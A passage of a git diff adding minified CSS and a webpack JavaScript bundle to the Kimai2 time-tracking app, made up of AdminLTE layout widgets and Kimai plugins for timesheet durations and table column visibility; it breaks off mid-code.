a:hover{background:#fff}.skin-green-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-green-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-green-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-purple .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-purple .main-header .navbar .dropdown-menu li a{color:#444}.skin-purple .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-purple-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-purple-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-purple-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-red .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-red .main-header .navbar .dropdown-menu li a{color:#444}.skin-red .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-red-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-red-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-red-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-yellow .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-yellow .main-header .navbar .dropdown-menu li a{color:#444}.skin-yellow .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-yellow-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-yellow-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-yellow-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}.swal2-popup{font-size:unset}@media only screen and (max-width:768px){body.swal2-toast-shown .swal2-container{top:95px!important;width:80%}}@media only screen and (min-width:768px){body.swal2-toast-shown .swal2-container{top:60px!important}}.ui-widget{font-size:1em}.ui-widget.ui-widget-content{border:1px solid #c5c5c5}.ui-widget-content{border:1px solid #ddd;background:#fff;color:#333}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu-item{margin:0;cursor:pointer}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-front{z-index:1200}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-state-active,.ui-menu .ui-state-focus{margin:-1px}.ui-button.ui-state-active:hover,.ui-button:active,.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active{border:1px solid #003eff;background:#007fff;font-weight:400;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#003eff;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.select2-container .select2-selection--single .select2-selection__rendered{margin-top:0}.select2-container--bootstrap .select2-selection{border-radius:0}.select2-search.select2-search--inline .select2-search__field{width:100%!important}.select2-container--bootstrap .select2-results__options.select2-results__options--nested li.select2-results__option{padding-left:30px}.select2-container--bootstrap .select2-results__option{min-height:30px}.dataTable .weekend{background-color:#f9f9f9;opacity:.6}.form-reporting .box-header .form-group{margin-right:10px}.form-reporting .box-header .form-group label{font-size:14px}form .box-body fieldset{border-radius:3px;padding:10px}form .box-body fieldset:hover{background-color:#f5f5f5}form.form-narrow .form-group{margin:0 0 5px}.modal-content{border-radius:3px;box-shadow:0 10px 80px rgba(0,0,0,.6)}.progress-group .progress-title{width:100%;white-space:nowrap}.progress-group .progress-title .progress-text{display:inline-block;width:1%}.progress-group .progress-title .progress-number{display:inline-block;width:98%;text-align:right;float:none}
\ No newline at end of file
diff --git a/public/build/app.e4243154.js b/public/build/app.e4243154.js
new file mode 100644
index 0000000000..fcdec17b6a
--- /dev/null
+++ b/public/build/app.e4243154.js
@@ -0,0 +1,2 @@
+/*! For license information please see app.e4243154.js.LICENSE.txt */
+(self.webpackChunkkimai2=self.webpackChunkkimai2||[]).push([[143],{3752:function(e,t,n){var r=n(9755);if(void 0===r)throw new Error("AdminLTE requires jQuery");!function(e){"use strict";function t(t,n){if(this.element=t,this.options=n,this.$overlay=e(n.overlayTemplate),""===n.source)throw new Error("Source url was not defined. Please specify a url in your BoxRefresh source option.");this._setUpListeners(),this.load()}var n="lte.boxrefresh",r={source:"",params:{},trigger:".refresh-btn",content:".box-body",loadInContent:!0,responseType:"",overlayTemplate:'<div class="overlay"><div class="fa fa-refresh fa-spin"></div></div>',onLoadStart:function(){},onLoadDone:function(e){return e}};function i(i){return this.each((function(){var a=e(this),o=a.data(n);if(!o){var s=e.extend({},r,a.data(),"object"==typeof i&&i);a.data(n,o=new t(a,s))}if("string"==typeof o){if(void 0===o[i])throw new Error("No method named "+i);o[i]()}}))}t.prototype.load=function(){this._addOverlay(),this.options.onLoadStart.call(e(this)),e.get(this.options.source,this.options.params,function(t){this.options.loadInContent&&e(this.element).find(this.options.content).html(t),this.options.onLoadDone.call(e(this),t),this._removeOverlay()}.bind(this),""!==this.options.responseType&&this.options.responseType)},t.prototype._setUpListeners=function(){e(this.element).on("click",this.options.trigger,function(e){e&&e.preventDefault(),this.load()}.bind(this))},t.prototype._addOverlay=function(){e(this.element).append(this.$overlay)},t.prototype._removeOverlay=function(){e(this.$overlay).remove()};var a=e.fn.boxRefresh;e.fn.boxRefresh=i,e.fn.boxRefresh.Constructor=t,e.fn.boxRefresh.noConflict=function(){return e.fn.boxRefresh=a,this},e(window).on("load",(function(){e('[data-widget="box-refresh"]').each((function(){i.call(e(this))}))}))}(r),function(e){"use strict";function t(e,t){this.element=e,this.options=t,this._setUpListeners()}var n="lte.boxwidget",r={animationSpeed:500,collapseTrigger:'[data-widget="collapse"]',removeTrigger:'[data-widget="remove"]',collapseIcon:"fa-minus",expandIcon:"fa-plus",removeIcon:"fa-times"},i=".box-header",a=".box-body",o=".box-footer",s=".box-tools",l="collapsed-box";function u(i){return this.each((function(){var a=e(this),o=a.data(n);if(!o){var s=e.extend({},r,a.data(),"object"==typeof i&&i);a.data(n,o=new t(a,s))}if("string"==typeof i){if(void 0===o[i])throw new Error("No method named "+i);o[i]()}}))}t.prototype.toggle=function(){e(this.element).is(".collapsed-box")?this.expand():this.collapse()},t.prototype.expand=function(){var t=e.Event("expanded.boxwidget"),n=e.Event("expanding.boxwidget"),r=this.options.collapseIcon,u=this.options.expandIcon;e(this.element).removeClass(l),e(this.element).children(i+", "+a+", "+o).children(s).find("."+u).removeClass(u).addClass(r),e(this.element).children(a+", "+o).slideDown(this.options.animationSpeed,function(){e(this.element).trigger(t)}.bind(this)).trigger(n)},t.prototype.collapse=function(){var t=e.Event("collapsed.boxwidget"),n=e.Event("collapsing.boxwidget"),r=this.options.collapseIcon,u=this.options.expandIcon;e(this.element).children(i+", "+a+", "+o).children(s).find("."+r).removeClass(r).addClass(u),e(this.element).children(a+", "+o).slideUp(this.options.animationSpeed,function(){e(this.element).addClass(l),e(this.element).trigger(t)}.bind(this)).trigger(n)},t.prototype.remove=function(){var t=e.Event("removed.boxwidget"),n=e.Event("removing.boxwidget");e(this.element).slideUp(this.options.animationSpeed,function(){e(this.element).trigger(t),e(this.element).remove()}.bind(this)).trigger(n)},t.prototype._setUpListeners=function(){var t=this;e(this.element).on("click",this.options.collapseTrigger,(function(n){return n&&n.preventDefault(),t.toggle(e(this)),!1})),e(this.element).on("click",this.options.removeTrigger,(function(n){return n&&n.preventDefault(),t.remove(e(this)),!1}))};var c=e.fn.boxWidget;e.fn.boxWidget=u,e.fn.boxWidget.Constructor=t,e.fn.boxWidget.noConflict=function(){return e.fn.boxWidget=c,this},e(window).on("load",(function(){e(".box").each((function(){u.call(e(this))}))}))}(r),function(e){"use strict";function t(e,t){this.element=e,this.options=t,this.hasBindedResize=!1,this.init()}var n="lte.controlsidebar",r={controlsidebarSlide:!0},i=".control-sidebar",a='[data-toggle="control-sidebar"]',o=".control-sidebar-open",s="control-sidebar-open",l="control-sidebar-hold-transition";function u(i){return this.each((function(){var a=e(this),o=a.data(n);if(!o){var s=e.extend({},r,a.data(),"object"==typeof i&&i);a.data(n,o=new t(a,s))}"string"==typeof i&&o.toggle()}))}t.prototype.init=function(){e(this.element).is(a)||e(this).on("click",this.toggle),this.fix(),e(window).resize(function(){this.fix()}.bind(this))},t.prototype.toggle=function(t){t&&t.preventDefault(),this.fix(),e(i).is(o)||e("body").is(o)?this.collapse():this.expand()},t.prototype.expand=function(){e(i).show(),this.options.controlsidebarSlide?e(i).addClass(s):e("body").addClass(l).addClass(s).delay(50).queue((function(){e("body").removeClass(l),e(this).dequeue()})),e(this.element).trigger(e.Event("expanded.controlsidebar"))},t.prototype.collapse=function(){this.options.controlsidebarSlide?e(i).removeClass(s):e("body").addClass(l).removeClass(s).delay(50).queue((function(){e("body").removeClass(l),e(this).dequeue()})),e(i).fadeOut(),e(this.element).trigger(e.Event("collapsed.controlsidebar"))},t.prototype.fix=function(){e("body").is(".layout-boxed")&&this._fixForBoxed(e(".control-sidebar-bg"))},t.prototype._fixForBoxed=function(t){t.css({position:"absolute",height:e(".wrapper").height()})};var c=e.fn.controlSidebar;e.fn.controlSidebar=u,e.fn.controlSidebar.Constructor=t,e.fn.controlSidebar.noConflict=function(){return e.fn.controlSidebar=c,this},e(document).on("click",a,(function(t){t&&t.preventDefault(),u.call(e(this),"toggle")}))}(r),function(e){"use strict";function t(e){this.element=e}var n="lte.directchat";function r(r){return this.each((function(){var i=e(this),a=i.data(n);a||i.data(n,a=new t(i)),"string"==typeof r&&a.toggle(i)}))}t.prototype.toggle=function(e){e.parents(".direct-chat").first().toggleClass("direct-chat-contacts-open")};var i=e.fn.directChat;e.fn.directChat=r,e.fn.directChat.Constructor=t,e.fn.directChat.noConflict=function(){return e.fn.directChat=i,this},e(document).on("click",'[data-widget="chat-pane-toggle"]',(function(t){t&&t.preventDefault(),r.call(e(this),"toggle")}))}(r),function(e){"use strict";function t(e){this.options=e,this.init()}var n="lte.pushmenu",r={collapseScreenSize:767,expandOnHover:!1,expandTransitionDelay:200},i='[data-toggle="push-menu"]',a=".sidebar-mini",o="sidebar-collapse",s="sidebar-open",l="sidebar-expanded-on-hover",u="expanded.pushMenu",c="collapsed.pushMenu";function d(i){return this.each((function(){var a=e(this),o=a.data(n);if(!o){var s=e.extend({},r,a.data(),"object"==typeof i&&i);a.data(n,o=new t(s))}"toggle"===i&&o.toggle()}))}t.prototype.init=function(){(this.options.expandOnHover||e("body").is(a+".fixed"))&&(this.expandOnHover(),e("body").addClass("sidebar-mini-expand-feature")),e(".content-wrapper").click(function(){e(window).width()<=this.options.collapseScreenSize&&e("body").hasClass(s)&&this.close()}.bind(this)),e(".sidebar-form .form-control").click((function(e){e.stopPropagation()}))},t.prototype.toggle=function(){var t=e(window).width(),n=!e("body").hasClass(o);t<=this.options.collapseScreenSize&&(n=e("body").hasClass(s)),n?this.close():this.open()},t.prototype.open=function(){e(window).width()>this.options.collapseScreenSize?e("body").removeClass(o).trigger(e.Event(u)):e("body").addClass(s).trigger(e.Event(u))},t.prototype.close=function(){e(window).width()>this.options.collapseScreenSize?e("body").addClass(o).trigger(e.Event(c)):e("body").removeClass(s+" "+o).trigger(e.Event(c))},t.prototype.expandOnHover=function(){e(".main-sidebar").hover(function(){e("body").is(a+".sidebar-collapse")&&e(window).width()>this.options.collapseScreenSize&&this.expand()}.bind(this),function(){e("body").is(".sidebar-expanded-on-hover")&&this.collapse()}.bind(this))},t.prototype.expand=function(){setTimeout((function(){e("body").removeClass(o).addClass(l)}),this.options.expandTransitionDelay)},t.prototype.collapse=function(){setTimeout((function(){e("body").removeClass(l).addClass(o)}),this.options.expandTransitionDelay)};var f=e.fn.pushMenu;e.fn.pushMenu=d,e.fn.pushMenu.Constructor=t,e.fn.pushMenu.noConflict=function(){return e.fn.pushMenu=f,this},e(document).on("click",i,(function(t){t.preventDefault(),d.call(e(this),"toggle")})),e(window).on("load",(function(){d.call(e(i))}))}(r),function(e){"use strict";function t(e,t){this.element=e,this.options=t,this._setUpListeners()}var n="lte.todolist",r={onCheck:function(e){return e},onUnCheck:function(e){return e}},i={data:'[data-widget="todo-list"]'};function a(i){return this.each((function(){var a=e(this),o=a.data(n);if(!o){var s=e.extend({},r,a.data(),"object"==typeof i&&i);a.data(n,o=new t(a,s))}if("string"==typeof o){if(void 0===o[i])throw new Error("No method named "+i);o[i]()}}))}t.prototype.toggle=function(e){e.parents(i.li).first().toggleClass("done"),e.prop("checked")?this.check(e):this.unCheck(e)},t.prototype.check=function(e){this.options.onCheck.call(e)},t.prototype.unCheck=function(e){this.options.onUnCheck.call(e)},t.prototype._setUpListeners=function(){var t=this;e(this.element).on("change ifChanged","input:checkbox",(function(){t.toggle(e(this))}))};var o=e.fn.todoList;e.fn.todoList=a,e.fn.todoList.Constructor=t,e.fn.todoList.noConflict=function(){return e.fn.todoList=o,this},e(window).on("load",(function(){e(i.data).each((function(){a.call(e(this))}))}))}(r),function(e){"use strict";function t(t,n){this.element=t,this.options=n,e(this.element).addClass(l),e(i+o,this.element).addClass(s),this._setUpListeners()}var n="lte.tree",r={animationSpeed:500,accordion:!0,followLink:!1,trigger:".treeview a"},i=".treeview",a=".treeview-menu",o=".active",s="menu-open",l="tree";function u(i){return this.each((function(){var a=e(this);if(!a.data(n)){var o=e.extend({},r,a.data(),"object"==typeof i&&i);a.data(n,new t(a,o))}}))}t.prototype.toggle=function(e,t){var n=e.next(a),r=e.parent(),o=r.hasClass(s);r.is(i)&&(this.options.followLink&&"#"!==e.attr("href")||t.preventDefault(),o?this.collapse(n,r):this.expand(n,r))},t.prototype.expand=function(t,n){var r=e.Event("expanded.tree");if(this.options.accordion){var i=n.siblings(".menu-open, .active"),o=i.children(a);this.collapse(o,i)}n.addClass(s),t.stop().slideDown(this.options.animationSpeed,function(){e(this.element).trigger(r),n.height("auto")}.bind(this))},t.prototype.collapse=function(t,n){var r=e.Event("collapsed.tree");n.removeClass(s),t.stop().slideUp(this.options.animationSpeed,function(){e(this.element).trigger(r),n.find(i).removeClass(s).find(a).hide()}.bind(this))},t.prototype._setUpListeners=function(){var t=this;e(this.element).on("click",this.options.trigger,(function(n){t.toggle(e(this),n)}))};var c=e.fn.tree;e.fn.tree=u,e.fn.tree.Constructor=t,e.fn.tree.noConflict=function(){return e.fn.tree=c,this},e(window).on("load",(function(){e('[data-widget="tree"]').each((function(){u.call(e(this))}))}))}(r),function(e){"use strict";function t(e){this.options=e,this.bindedResize=!1,this.activate()}var n="lte.layout",r={slimscroll:!0,resetHeight:!0},i=".wrapper",a=".content-wrapper",o=".main-header",s=".sidebar",l=".sidebar-menu",u="fixed";function c(i){return this.each((function(){var a=e(this),o=a.data(n);if(!o){var s=e.extend({},r,a.data(),"object"==typeof i&&i);a.data(n,o=new t(s))}if("string"==typeof i){if(void 0===o[i])throw new Error("No method named "+i);o[i]()}}))}t.prototype.activate=function(){this.fix(),this.fixSidebar(),e("body").removeClass("hold-transition"),this.options.resetHeight&&e("body, html, "+i).css({height:"auto","min-height":"100%"}),this.bindedResize||(e(window).resize(function(){this.fix(),this.fixSidebar(),e(".main-header .logo, "+s).one("webkitTransitionEnd otransitionend oTransitionEnd msTransitionEnd transitionend",function(){this.fix(),this.fixSidebar()}.bind(this))}.bind(this)),this.bindedResize=!0),e(l).on("expanded.tree",function(){this.fix(),this.fixSidebar()}.bind(this)),e(l).on("collapsed.tree",function(){this.fix(),this.fixSidebar()}.bind(this))},t.prototype.fix=function(){e(".layout-boxed > "+i).css("overflow","hidden");var t=e(".main-footer").outerHeight()||0,n=e(o).outerHeight()||0,r=n+t,l=e(window).height(),c=e(s).outerHeight()||0;if(e("body").hasClass(u))e(a).css("min-height",l-t);else{var d;d=c+n<=l?(e(a).css("min-height",l-r),l-r):(e(a).css("min-height",c),c);var f=e(".control-sidebar");void 0!==f&&f.height()>d&&e(a).css("min-height",f.height())}},t.prototype.fixSidebar=function(){e("body").hasClass(u)?this.options.slimscroll&&void 0!==e.fn.slimScroll&&0===e(".main-sidebar").find("slimScrollDiv").length&&e(s).slimScroll({height:e(window).height()-e(o).height()+"px"}):void 0!==e.fn.slimScroll&&e(s).slimScroll({destroy:!0}).height("auto")};var d=e.fn.layout;e.fn.layout=c,e.fn.layout.Constuctor=t,e.fn.layout.noConflict=function(){return e.fn.layout=d,this},e(window).on("load",(function(){c.call(e("body"))}))}(r)},8144:function(e,t,n){var r=n(9755);n.g.$=n.g.jQuery=r,n(3002),n(1402),n(686),n(5405),n(4037),n(2322),n(6823),n(4752),n(2876),n(143),n(9850),n(2285),n(7665),n(1808),n(1311),n(3256),n(3912),n(6757),n(6806),n(818),n(6453),n(1339),n(7120),n(2985),n(7049),n(2984),n(4525);var i=n(381);n.g.moment=i,n(867),n(5822),n(4780),n(9740),n(217),n(894),n(2915),n(5655),n(7763),n(1897),n(4694),n(4470),n(4206),n(2138),n(626),n(9183),n(3730),n(3901),n(4495),n(9520),n(7971),n(6459),n(1793),n(4249),n(8760),n(2397),n(5666),n(3839),n(932),n(8749),n(2945),n(958),n(157),n(2404),n.g.$.AdminLTE={},n.g.$.AdminLTE.options={},n(3752),n(1639),n(5290),n.g.KimaiPaginatedBoxWidget=n(985).Z,n.g.KimaiReloadPageWidget=n(8227).Z,n.g.KimaiCookies=n(3954).Z,n(2993)},5290:function(e,t,n){"use strict";n.r(t);n(2526),n(1817),n(1539),n(2165),n(6992),n(8783),n(3948),n(489),n(2419),n(4916),n(5306),n(1249);var r=n(381),i=n.n(r);function a(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var o=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this._translations=t}var t,n,r;return t=e,(n=[{key:"get",value:function(e){return this._translations[e]}},{key:"has",value:function(e){return e in this._translations}}])&&a(t.prototype,n),r&&a(t,r),e}();function s(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var l=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this._configurations=t}var t,n,r;return t=e,(n=[{key:"get",value:function(e){return this._configurations[e]}},{key:"has",value:function(e){return e in this._configurations}}])&&s(t.prototype,n),r&&s(t,r),e}();n(7042),n(8309),n(1038);function u(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var c=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}var t,n,r;return t=e,(n=[{key:"init",value:function(){}},{key:"getId",value:function(){return null}},{key:"setContainer",value:function(e){if(!(e instanceof m))throw new Error("Plugin was given an invalid KimaiContainer");this._core=e}},{key:"getContainer",value:function(){return this._core}},{key:"getConfiguration",value:function(e){return this.getContainer().getConfiguration().get(e)}},{key:"getPlugin",value:function(e){return this.getContainer().getPlugin(e)}}])&&u(t.prototype,n),r&&u(t,r),e}();function d(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return f(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return f(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function f(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function h(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var m=function(){function e(t,n){if(function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),!(t instanceof l))throw new Error("Configuration needs to a KimaiConfiguration instance");if(this._configuration=t,!(n instanceof o))throw new Error("Configuration needs to a KimaiTranslation instance");this._translation=n,this._plugins=[]}var t,n,r;return t=e,(n=[{key:"registerPlugin",value:function(e){if(!(e instanceof c))throw new Error("Invalid plugin given, needs to be a KimaiPlugin instance");return e.setContainer(this),this._plugins.push(e),e}},{key:"getPlugin",value:function(e){var t,n=d(this._plugins);try{for(n.s();!(t=n.n()).done;){var r=t.value;if(null!==r.getId()&&r.getId()===e)return r}}catch(e){n.e(e)}finally{n.f()}throw new Error("Unknown plugin: "+e)}},{key:"getPlugins",value:function(){return this._plugins}},{key:"getTranslation",value:function(){return this._translation}},{key:"getConfiguration",value:function(){return this._configuration}}])&&h(t.prototype,n),r&&h(t,r),e}();function p(e){return(p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function _(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return y(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return y(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function y(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function g(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function v(e,t){return(v=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function b(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=M(e);if(t){var i=M(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return w(this,n)}}function w(e,t){return!t||"object"!==p(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function M(e){return(M=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var L=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&v(e,t)}(a,e);var t,n,r,i=b(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"getId",value:function(){return"timesheet-duration"}},{key:"init",value:function(){this.updateBrowserTitle=!!this.getConfiguration("updateBrowserTitle"),this.updateRecords();var e=this,t=function(){e.updateRecords()};this._updatesHandler=setInterval(t,1e4),document.addEventListener("kimai.timesheetUpdate",t)}},{key:"unregisterUpdates",value:function(){clearInterval(this._updatesHandler)}},{key:"updateRecords",value:function(){var e=[],t=document.querySelectorAll(this.selector);if(0!==t.length){var n,r=_(t);try{for(r.s();!(n=r.n()).done;){var i=n.value,a=i.getAttribute("data-since"),o=this.formatDuration(a);null!==i.getAttribute("data-title")&&"?"!==o&&e.push(o),i.textContent=o}}catch(e){r.e(e)}finally{r.f()}if(0!==e.length&&this.updateBrowserTitle){var s,l=e.shift(),u=_(e.slice(0,2));try{for(u.s();!(s=u.n()).done;)l+=" | "+s.value}catch(e){u.e(e)}finally{u.f()}document.title=l}}else this.updateBrowserTitle&&(document.title=document.querySelector("body").dataset.title)}},{key:"formatDuration",value:function(e){return this.getPlugin("date").formatDuration(e)}}])&&g(t.prototype,n),r&&g(t,r),a}(c),k=n(6808),Y=n.n(k),D=n(9755),T=n.n(D);function x(e){return(x="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function S(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return j(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return j(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function j(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function O(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function C(e,t){return(C=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function H(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=P(e);if(t){var i=P(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return E(this,n)}}function E(e,t){return!t||"object"!==x(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function P(e){return(P=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var A=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&C(e,t)}(a,e);var t,n,r,i=H(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).dataAttribute=e,t}return t=a,(n=[{key:"getId",value:function(){return"datatable-column-visibility"}},{key:"init",value:function(){var e=document.querySelector("["+this.dataAttribute+"]");null!==e&&(this.id=e.getAttribute(this.dataAttribute),this.modal=document.getElementById("modal_"+this.id),this.bindButtons())}},{key:"bindButtons",value:function(){var e=this;this.modal.querySelector("button[data-type=save]").addEventListener("click",(function(){e.saveVisibility()})),this.modal.querySelector("button[data-type=reset]").addEventListener("click",(function(){e.resetVisibility()}));var t,n=S(this.modal.querySelectorAll("form input[type=checkbox]"));try{var r=function(){var n=t.value;n.addEventListener("click",(function(){e.changeVisibility(n.getAttribute("name"),n.checked)}))};for(n.s();!(t=n.n()).done;)r()}catch(e){n.e(e)}finally{n.f()}}},{key:"saveVisibility",value:function(){var e,t=this.modal.getElementsByTagName("form")[0],n={},r=S(t.querySelectorAll("input[type=checkbox]"));try{for(r.s();!(e=r.n()).done;){var i=e.value;n[i.getAttribute("name")]=i.checked}}catch(e){r.e(e)}finally{r.f()}Y().set(t.getAttribute("name"),JSON.stringify(n),{expires:365,SameSite:"Strict"}),T()(this.modal).modal("toggle")}},{key:"resetVisibility",value:function(){var e=this.modal.getElementsByTagName("form")[0];Y().remove(e.getAttribute("name"));var t,n=S(e.querySelectorAll("input[type=checkbox]"));try{for(n.s();!(t=n.n()).done;){var r=t.value;r.checked||r.click()}}catch(e){n.e(e)}finally{n.f()}T()(this.modal).modal("toggle")}},{key:"changeVisibility",value:function(e,t){var n,r=S(document.getElementsByClassName("datatable_"+this.id));try{for(r.s();!(n=r.n()).done;){var i,a=n.value,o=0,s=!1,l=a.getElementsByClassName("dataTable")[0],u=S(l.getElementsByTagName("th"));try{for(u.s();!(i=u.n()).done;){var c=i.value;if(c.getAttribute("data-field")===e){s=!0;break}null!==c.getAttribute("colspan")&&console.log("Tables with colspans are not supported!"),o++}}catch(e){u.e(e)}finally{u.f()}if(!s)return;var d,f=S(l.getElementsByTagName("tr"));try{for(f.s();!(d=f.n()).done;){var h=d.value;void 